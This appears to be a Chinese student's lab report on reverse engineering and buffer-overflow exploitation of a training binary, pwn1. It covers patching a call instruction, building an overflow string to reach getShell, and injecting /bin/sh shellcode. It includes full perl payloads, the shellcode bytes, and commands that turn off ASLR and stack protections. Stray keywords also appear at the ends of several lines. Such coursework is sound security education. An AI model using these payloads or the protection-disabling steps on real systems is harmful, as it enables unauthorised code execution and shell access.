2017-2018-2 20155314《網絡對抗技術》Exp1 PC平臺逆向破解(5)M

時間 2019-12-05

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2017-2018-2 20155314《網絡對抗技術》Exp1 PC平臺逆向破解(5)M

實驗要求

掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼（0.5分）html

掌握反彙編與十六進制編程器 (0.5分)linux

能正確修改機器指令改變程序執行流程（0.5分）git

能正確構造payload進行bof攻擊（0.5分）shell

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實驗內容

手工修改可執行文件，改變程序執行流程，直接跳轉到getShell函數編程

利用foo函數的Bof漏洞，構造一個攻擊輸入字符串，覆蓋返回地址，觸發getShell函數vim

注入一個本身製做的shellcode並運行這段shellcodewindows

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預備知識

熟悉Linux基本操做

能看懂經常使用指令,如管道（|），輸入、輸出重定向（>）等

理解Bof的原理

能看得懂彙編、機器指令、EIP、指令地址

會使用gdb,vi

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實驗步驟

0 準備工做：macOS下Parallels Desktop安裝Kali Linux虛擬機及相關配置

記得必定要選Graphical install（圖形界面安裝）哦～
安裝完成～
安裝Parallels Tools：
安裝32位運行庫：用命令apt-get install lib32ncurses5

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1 逆向及Bof基礎實踐

1.1 實踐目標

本次實踐的對象是一個名爲pwn1的linux可執行文件。

該程序正常執行流程是：main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。

該程序同時包含另外一個代碼片斷，getShell，會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷，而後學習如何注入運行任何Shellcode。

三個實踐內容以下：

手工修改可執行文件，改變程序執行流程，直接跳轉到getShell函數。

利用foo函數的Bof漏洞，構造一個攻擊輸入字符串，覆蓋返回地址，觸發getShell函數。

注入一個本身製做的shellcode並運行這段shellcode。

這幾種思路，基本表明現實狀況中的攻擊目標:

運行本來不可訪問的代碼片斷

強行修改程序執行流

以及注入運行任意代碼

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1.2 基礎知識

熟悉Linux基本操做

能看懂經常使用指令,如管道（|），輸入、輸出重定向（>）等。

理解Bof的原理。

能看得懂彙編、機器指令、EIP、指令地址。

會使用gdb,vi。

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2 直接修改程序機器指令，改變程序執行流程

知識要求：Call指令，EIP寄存器,指令跳轉的偏移計算，補碼，反彙編指令objdump，十六進制編輯工具

學習目標：理解可執行文件與機器指令

進階：掌握ELF文件格式，掌握動態技術

下載目標文件pwn1,用objdump -d pwn1命令進行反彙編：
- 先看第12行，call 8048491 <foo>是彙編指令
  - 是說這條指令將調用位於地址8048491處的foo函數；
  - 其對應機器指令爲e8 d7ffffff，e8即跳轉之意
    - 原本正常流程，此時此刻EIP的值應該是下條指令的地址，即80484ba，但如一解釋e8這條指令呢，CPU就會轉而執行EIP + d7ffffff這個位置的指令。d7ffffff是補碼,表示-41，41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491這個值，
- main函數調用foo，對應機器指令爲e8 d7ffffff，
  - 那咱們想讓它調用getShell，只要修改d7ffffff爲getShell-80484ba對應的補碼就行
  - 用Windows計算器，直接47d-4ba就能獲得補碼，是c3ffffff
修改可執行文件，將其中的call指令的目標地址由d7ffffff變爲c3ffffff：
1. vim pwn1
2. esc->:%!xxd 將顯示模式切換爲16進制模式：
3. /e8d7 查找要修改的內容
4. 找到後先後的內容和反彙編的對比下，確認是地方是正確的
5. 修改d7爲c3
6. :%!xxd -r 轉換16進製爲原格式
7. :wq 存盤退出vim
8. 再用objdump -d pwn1命令反彙編看一下，call指令是否正確調用getShell：
9. ./pwn1運行改後的代碼，會獲得shell提示符#：

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3 經過構造輸入參數，形成BOF攻擊，改變程序執行流

知識要求：堆棧結構，返回地址
學習目標：理解攻擊緩衝區的結果，掌握返回地址的獲取
進階：掌握ELF文件格式，掌握動態技術

3.1 反彙編，瞭解程序的基本功能

用objdump -d pwn1命令反彙編：
1. 咱們的目標是觸發函數getShell
2. 該可執行文件正常運行是調用函數foo，這個函數有Buffer overflow漏洞
3. 函數foo中的mov(804849a)讀入字符串，但系統只預留了32字節的緩衝區，超出部分會形成溢出，咱們的目標是覆蓋返回地址
4. 函數main中的call調用函數foo，同時在堆棧上壓上返回地址值:80484ae

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3.2 確認輸入字符串哪幾個字符會覆蓋到返回地址

若是輸入字符串1111111122222222333333334444444412345678，那 1234 那四個數最終會覆蓋到堆棧上的返回地址，進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址，輸入給pwn1，pwn1就會運行getShell

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3.3 確認用什麼值來覆蓋返回地址

getShell的內存地址，經過反彙編時能夠看到，即0804847d

接下來要確認下字節序，簡單說是輸入11111111222222223333333344444444\x08\x04\x84\x7d,仍是輸入11111111222222223333333344444444\x7d\x84\x04\x08

對比以前eip 0x34333231 0x34333231，正確應用輸入 11111111222222223333333344444444\x7d\x84\x04\x08

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3.4 構造輸入字符串

因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值，因此須要先生成包括這樣字符串的一個文件。\x0a表示回車，若是沒有的話，在程序運行時就須要手工按一下回車鍵。

關於Perl：
Perl是一門解釋型語言，不須要預編譯，能夠在命令行上直接使用。
使用輸出重定向「>」將perl生成的字符串存儲到文件input中。

同時，可使用16進制查看指令xxd查看input文件的內容是否如預期。

而後將input的輸入，經過管道符「|」，做爲pwn1的輸入。

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4 注入Shellcode並執行

4.1 準備一段Shellcode

shellcode就是一段機器指令（code）

一般這段機器指令的目的是爲獲取一個交互式的shell（像linux的shell或相似windows下的cmd.exe），

因此這段機器指令被稱爲shellcode。

在實際的應用中，凡是用來注入的機器指令段都通稱爲shellcode，像添加一個用戶、運行一條指令。

最基本的shellcode的編寫可參考學姐的文章Shellcode入門，寫得很是之清楚詳實。如下實踐即便用該文章中生成的shellcode。以下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
關於更多Shellcode的知識，請參考Shellcode基礎。

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4.2 準備工做

注意：如下實踐是在很是簡單的一個預設條件下完成的：

關閉堆棧保護（gcc -fno-stack-protector）
關閉堆棧執行保護(execstack -s)
關閉地址隨機化 (/proc/sys/kernel/randomize_va_space=0)
在x32環境下
在Linux實踐環境

所以修改設置以下：

apt-get install execstack //安裝execstack命令
execstack -s pwn1 //設置堆棧可執行
execstack -q pwn1 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化 
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化

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4.3 構造要注入的payload

Linux下有兩種基本構造攻擊buf的方法：
- retaddr+nop+shellcode
- nop+shellcode+retaddr
由於retaddr在緩衝區的位置是固定的，shellcode要不在它前面，要不在它後面，簡單說緩衝區小就把shellcode放後邊，緩衝區大就把shellcode放前邊
咱們這個buf足夠大，夠放這個shellcode了，但吸收老師的教訓，這裏選擇結構nop+shellcode+retaddr
- nop一爲是了填充，二是做爲「着陸區/滑行區」
- 咱們猜的返回地址只要落在任何一個nop上，天然會滑到咱們的shellcode
使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode注入，其中前面32個A用來填滿緩衝區buf，\x04\x03\x02\x01爲預留的返回地址retaddr：
接下來肯定\x4\x3\x2\x1到底該填什麼：
- 打開一個終端注入這段攻擊buf：(cat input_shellcode;cat) | ./pwn1
- 再開另一個終端，用gdb來調試pwn1這個進程：
  1. 用ps -ef | grep pwn1命令找到pwn1的進程號是：9489：
  2. 用gdb、attach 9489命令啓動gdb調試這個進程：
  3. 用disassemble foo命令反彙編，經過設置斷點，來查看注入buf的內存地址：
  4. 用break *0x080484ae命令設置斷點，輸入c命令(continue)繼續運行，同時在pwn1進程正在運行的終端敲回車，使其繼續執行。再返回調試終端，使用info r esp命令查找地址：
  5. 用x/16x 0xffffd27c命令查看其存放內容，看到了0x01020304，就是返回地址的位置。根據咱們構造的input_shellcode可知，shellcode就在其後，因此地址應爲0xffffd280：
  6. 接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可，用命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode：
  7. 再用(cat input_shellcode;cat) | ./pwn1命令次執行程序，攻擊成功！以下圖：

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實驗中遇到的問題及解決過程

macOS下Parallels Desktop安裝Parallels Tools失敗

試了不少次，也盲目重啓了不少次Kali（它提示讓我重啓的不怪我），不過用圖形界面安裝時每次到10%就會卡住而後提示失敗:(

緣由分析

用Parallels Desktop安裝Kali時，安裝Parallels Tools能提高虛擬機的性能（如共享剪貼板等），但必須更新鏡像，確保全部軟件包的依賴都完整，不然會提示內核須要更新等問題。所以首先須要更新鏡像!!!

解決方案

打開終端，用su命令切換到root（Kali用戶默認root）
用vim打開source.list：vim /etc/apt/sources.list
編輯source.list，添加鏡像源deb https://https.kali.org/kali kali-rolling main contrib non-free到文件中並保存退出
依次輸入如下命令：
apt-get clean apt-get update apt-get upgrade -y apt-get dist-upgrade -y apt-get install dkms kpartx printer-driver-postscript-hp
重啓Kali Linux虛擬機
在終端中輸入命令：eject /dev/cdrom推出Parallel Tools安裝工具
在Kali Linux虛擬機菜單欄選擇：操做->安裝 Parallel Tools
依次輸入如下命令：
mkdir /media/pt mkdir /root/Desktop/pt mount /dev/cdrom /media/pt cp -r /media/pt/ /root/Desktop/pt cd /root/Desktop/pt/pt ./install
重啓Kali Linux虛擬機，安裝完成:)

能夠看到此時已經能從主機直接拖文件進Kali虛擬機了（共享剪貼板）:)

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參考資料

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